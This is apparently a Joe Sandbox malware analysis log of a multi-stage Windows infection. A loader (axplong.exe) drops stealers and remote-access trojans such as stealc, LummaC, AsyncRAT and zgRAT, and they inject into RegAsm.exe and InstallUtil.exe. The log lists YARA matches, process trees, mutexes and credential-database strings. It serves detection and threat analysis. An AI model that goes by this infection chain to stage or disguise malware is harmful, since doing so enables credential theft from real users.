Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB8810 14_2_00EB8810
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF9970 14_2_00EF9970
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EBA910 14_2_00EBA910
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF5AD0 14_2_00EF5AD0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB9A02 14_2_00EB9A02
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00ED7B0F 14_2_00ED7B0F
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDBB00 14_2_00EDBB00
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF9970 14_2_00EF9970
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE8C00 14_2_00EE8C00
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EEFD0E 14_2_00EEFD0E
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDDEF8 14_2_00EDDEF8
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF7EDE 14_2_00EF7EDE
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EBFEBC 14_2_00EBFEBC
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF9E60 14_2_00EF9E60
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EB7E70 14_2_00EB7E70
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EDDFE0 14_2_00EDDFE0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EBAFD0 14_2_00EBAFD0
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EBBF80 14_2_00EBBF80
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EF8F80 14_2_00EF8F80
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EEEF50 14_2_00EEEF50
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_0100DC74 15_2_0100DC74
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_064867D0 15_2_064867D0
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_0648A3B7 15_2_0648A3B7
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_06483F50 15_2_06483F50
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_06486FE8 15_2_06486FE8
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_06486FF8 15_2_06486FF8
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_00199760 16_2_00199760
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_0019A879 16_2_0019A879
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001B1462 16_2_001B1462
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001D758B 16_2_001D758B
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001D8650 16_2_001D8650
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001D76AB 16_2_001D76AB
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_00194AF0 16_2_00194AF0
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001D2B00 16_2_001D2B00
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001B3C51 16_2_001B3C51
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001B0C73 16_2_001B0C73
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001C7CB3 16_2_001C7CB3
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_00194CF0 16_2_00194CF0
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001D6E39 16_2_001D6E39
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001D2F98 16_2_001D2F98
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001B5FF2 16_2_001B5FF2
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00219760 17_2_00219760
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00231462 17_2_00231462
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0025758B 17_2_0025758B
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00258650 17_2_00258650
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_002576AB 17_2_002576AB
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00214AF0 17_2_00214AF0
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00252B00 17_2_00252B00
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00230C73 17_2_00230C73
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00233C51 17_2_00233C51
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00247CB3 17_2_00247CB3
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00214CF0 17_2_00214CF0
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00256E39 17_2_00256E39
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00252F98 17_2_00252F98
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_00235FF2 17_2_00235FF2
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
Enables security privileges
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Process token adjusted: Security
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: String function: 00227F20 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: String function: 0022D7A2 appears 69 times
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: String function: 0022DDE0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: String function: 001A7F20 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: String function: 001AD7A2 appears 69 times
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: String function: 001ADDE0 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00407D30 appears 55 times
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: String function: 00EBCAD0 appears 53 times
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: String function: 00EBED80 appears 194 times
One or more processes crash
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4024 -ip 4024
PE file contains executable resources (Code or Archives)
Source: neon[1].exe.6.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: neon.exe.6.dr Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
PE file does not import any functions
Source: neon[1].exe.6.dr Static PE information: No import functions for PE file found
Source: neon.exe.6.dr Static PE information: No import functions for PE file found
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 37.2.InstallUtil.exe.800000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 24.0.penis.exe.ca0000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 36.2.rstxdhuj.exe.4141590.4.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 36.2.rstxdhuj.exe.418fdb0.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000024.00000002.3118723302.0000000004141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000025.00000002.3332091327.0000000000802000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000024.00000002.3009810672.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe, type: DROPPED Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: rstxdhuj[1].exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gold[1].exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gold.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 12dsvc[1].exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: file.exe Static PE information: Section: ZLIB complexity 0.9972485950272479
Source: file.exe Static PE information: Section: ukgzfzxu ZLIB complexity 0.99462749421631
Source: axplong.exe.0.dr Static PE information: Section: ZLIB complexity 0.9972485950272479
Source: axplong.exe.0.dr Static PE information: Section: ukgzfzxu ZLIB complexity 0.99462749421631
Source: 2a8f2f9086.exe.6.dr Static PE information: Section: ZLIB complexity 0.9982863589918256
Source: 2a8f2f9086.exe.6.dr Static PE information: Section: ewzoukzh ZLIB complexity 0.9947279526245552
Source: 2a8f2f9086.exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: neon[1].exe.6.dr, Zz36.cs Cryptographic APIs: 'TransformFinalBlock'
Source: neon.exe.6.dr, Zz36.cs Cryptographic APIs: 'TransformFinalBlock'
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@73/109@19/21
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE81AA CoCreateInstance, 14_2_00EE81AA
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\gold[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1216:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5744:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7088:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3844:64:WilError_03
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Mutant created: \Sessions\1\BaseNamedObjects\TSXTkO0pNBdN2KNw
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2612:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49 Jump to behavior
Source: Yara match File source: 32.0.svchost015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000000.2916373422.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\svchost015.exe, type: DROPPED
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : Select Name from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3061741872.0000000068FFF000.00000002.00000001.01000000.00000020.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000009.00000002.2875623535.00000000036B0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2875623535.0000000003759000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2875623535.0000000003743000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2875623535.00000000036C6000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000003.2861649685.00000000210BD000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000003.2837589880.00000000210C9000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002C8E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: stealc_default2.exe, 00000013.00000002.3028700532.000000001AFFC000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.3059879676.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: file.exe Virustotal: Detection: 56%
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe "C:\Users\user\AppData\Local\Temp\1000002001\gold.exe"
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe "C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe "C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe "C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe "C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe"
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Process created: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe "C:\Users\user\AppData\Local\Temp\1000065001\stories.exe"
Source: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe Process created: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp "C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp" /SL5="$8045C,2980754,56832,C:\Users\user\AppData\Local\Temp\1000065001\stories.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe "C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe"
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Process created: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe "C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe" -i
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe "C:\Users\user\AppData\Local\Temp\1000254001\penis.exe"
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe "C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe "C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe "C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe "C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe"
